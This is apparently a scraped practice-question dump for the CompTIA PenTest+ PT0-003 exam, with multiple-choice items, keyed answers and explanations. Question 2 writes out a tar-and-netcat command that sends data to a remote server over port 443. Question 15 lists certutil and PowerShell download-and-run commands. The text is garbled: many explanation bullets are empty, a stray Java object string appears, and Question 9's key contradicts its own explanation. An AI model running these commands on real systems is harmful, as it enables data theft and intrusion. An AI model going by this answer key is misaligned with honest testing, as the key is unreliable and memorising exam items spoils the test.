Far Out CompTIA PenTest+ Exam PT0-003 Testing Bible

NEW QUESTION 1
While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

• A. Configuration changes were not reverted.
• B. A full backup restoration is required for the server.
• C. The penetration test was not completed on time.
• D. The penetration tester was locked out of the system.

Answer: A

Explanation:
✑ Debugging Mode:
✑ Common Causes:
✑ Best Practices:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 2
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Action | SRC
| DEST
| --
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
Which of the following commands should the tester try next?

• A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 </tmp/data.tar.gz
• B. gzip /path/to/data && cp data.gz <remote_server> 443
• C. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
• D. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

Answer: A

Explanation:
Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
✑ Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
✑ Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
✑ Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
✑ Block: All other traffic (*). Breakdown of Options:
✑ Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443
< /tmp/data.tar.gz
✑ Option B: gzip /path/to/data && cp data.gz <remote_server> 443
✑ Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3
<remote_server> 22
✑ Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz
<remote_server>
References from Pentest:
✑ Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
✑ Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
✑ Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.
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NEW QUESTION 3
SIMULATION
A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.
INSTRUCTIONS

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 4
SIMULATION
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 5
A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access.
Which of the following techniques should the tester use?

• A. Credential stuffing
• B. MFA fatigue
• C. Dictionary attack
• D. Brute-force attack

Answer: A

Explanation:
To avoid locking out accounts while attempting access, the penetration tester should use credential stuffing.
✑ Credential Stuffing:
✑ Other Techniques:
Pentest References:
✑ Password Attacks: Understanding different types of password attacks and their implications on account security.
✑ Account Lockout Policies: Awareness of how lockout mechanisms work and strategies to avoid triggering them during penetration tests.
By using credential stuffing, the penetration tester can attempt to gain access using known credentials without triggering account lockout policies, ensuring a stealthier approach to password attacks.
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NEW QUESTION 6
A tester runs an Nmap scan against a Windows server and receives the following results:
Nmap scan report for win_dns.local (10.0.0.5) Host is up (0.014s latency)
Port State Service 53/tcp open domain 161/tcp open snmp 445/tcp open smb-ds 3389/tcp open rdp
Which of the following TCP ports should be prioritized for using hash-based relays?

• A. 53
• B. 161
• C. 445
• D. 3389

Answer: C

Explanation:
Port 445 is used for SMB (Server Message Block) services, which are commonly targeted for hash-based relay attacks like NTLM relay attacks.
✑ Understanding Hash-Based Relays:
✑ Prioritizing Port 445:
✑ Execution:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 7
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?

• A. Multifactor authentication
• B. Patch management
• C. System hardening
• D. Network segmentation

Answer: C

Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
✑ System Hardening:
✑ Comparison with Other Controls:
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.
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NEW QUESTION 8
As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

• A. Logic bomb
• B. SQL injection
• C. Brute-force attack
• D. Cross-site scripting

Answer: B

Explanation:
SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here??s why option B is the most likely technique:
✑ Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.
✑ Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.
✑ Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.
References from Pentest:
✑ Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.
✑ Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.
Conclusion:
Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.
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NEW QUESTION 9
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?

• A. Initiate a social engineering campaign.
• B. Perform credential dumping.
• C. Compromise an endpoint.
• D. Share enumeration.

Answer: D

Explanation:
Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping. Here's why:
✑ Credential Dumping:
✑ Comparison with Other Options:
Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.
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NEW QUESTION 10
A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components. Which of the following frameworks is the tester using?

• A. OWASP MASVS
• B. OSSTMM
• C. MITRE ATT&CK
• D. CREST

Answer: B

Explanation:
The OSSTMM (Open Source Security Testing Methodology Manual) is a comprehensive framework for security testing that includes 14 components in its life cycle. Here??s why option B is correct:
✑ OSSTMM: This methodology breaks down the security testing process into 14
components, covering various aspects of security assessment, from planning to execution and reporting.
✑ OWASP MASVS: This is a framework for mobile application security verification
and does not have a 14-component life cycle.
✑ MITRE ATT&CK: This is a knowledge base of adversary tactics and techniques but does not describe a 14-component life cycle.
✑ CREST: This is a certification body for penetration testers and security professionals but does not provide a specific 14-component framework.
References from Pentest:
✑ Anubis HTB: Emphasizes the structured approach of OSSTMM in conducting comprehensive security assessments.
✑ Writeup HTB: Highlights the use of detailed methodologies like OSSTMM to cover all aspects of security testing.
Conclusion:
Option B, OSSTMM, is the framework that breaks the life cycle into 14 components, making it the correct answer.
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NEW QUESTION 11
DRAG DROP
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 12
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

• A. Creating registry keys
• B. Installing a bind shell
• C. Executing a process injection
• D. Setting up a reverse SSH connection

Answer: A

Explanation:
Maintaining persistent access in a compromised system is a crucial goal for a penetration
tester after achieving initial access. Here??s an explanation of each option and why creating registry keys is the preferred method:
✑ Creating registry keys (Answer: A):
✑ Installing a bind shell (Option B):
✑ Executing a process injection (Option C):
✑ Setting up a reverse SSH connection (Option D):
Conclusion: Creating registry keys is the most effective method for maintaining persistent access in a compromised system, particularly in Windows environments, due to its stealthiness and reliability.

NEW QUESTION 13
A penetration tester gains access to a domain server and wants to enumerate the systems within the domain. Which of the following tools would provide the best oversight of domains?

• A. Netcat
• B. Wireshark
• C. Nmap
• D. Responder

Answer: C

Explanation:
✑ Installation: sudo apt-get install nmap
✑ Basic Network Scanning: nmap -sP 192.168.1.0/24
✑ Service and Version Detection: nmap -sV 192.168.1.10
✑ Enumerating Domain Systems:
nmap -p 445 --script=smb-enum-domains 192.168.1.10
✑ Advanced Scanning Options: nmap -sS 192.168.1.10
✑ uk.co.certification.simulator.questionpool.PList@623a95bc nmap -A 192.168.1.10
✑ Real-World Example:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 14
During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine. Which of the following tools should the penetration tester use to continue the attack?

• A. Responder
• B. Hydra
• C. BloodHound
• D. CrackMapExec

Answer: D

Explanation:
When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here??s a breakdown of the options:
✑ Option A: Responder
✑ Option B: Hydra
✑ Option C: BloodHound
✑ Option D: CrackMapExec
References from Pentest:
✑ Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network.
✑ Horizontall HTB: Shows how CrackMapExec can be used for various post- exploitation activities, including using NTLM hashes to authenticate and execute commands.
Conclusion:
Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.
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NEW QUESTION 15
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

• A. powershell.exe impo C:\tools\foo.ps1
• B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
• C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
• D. rundll32.exe c:\path\foo.dll,functName

Answer: B

Explanation:
To execute a payload and gain additional access, the penetration tester
should use certutil.exe. Here??s why:
✑ Using certutil.exe:
✑ Comparison with Other Commands:
Using certutil.exe to download and execute a payload is a common and effective method.
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NEW QUESTION 16
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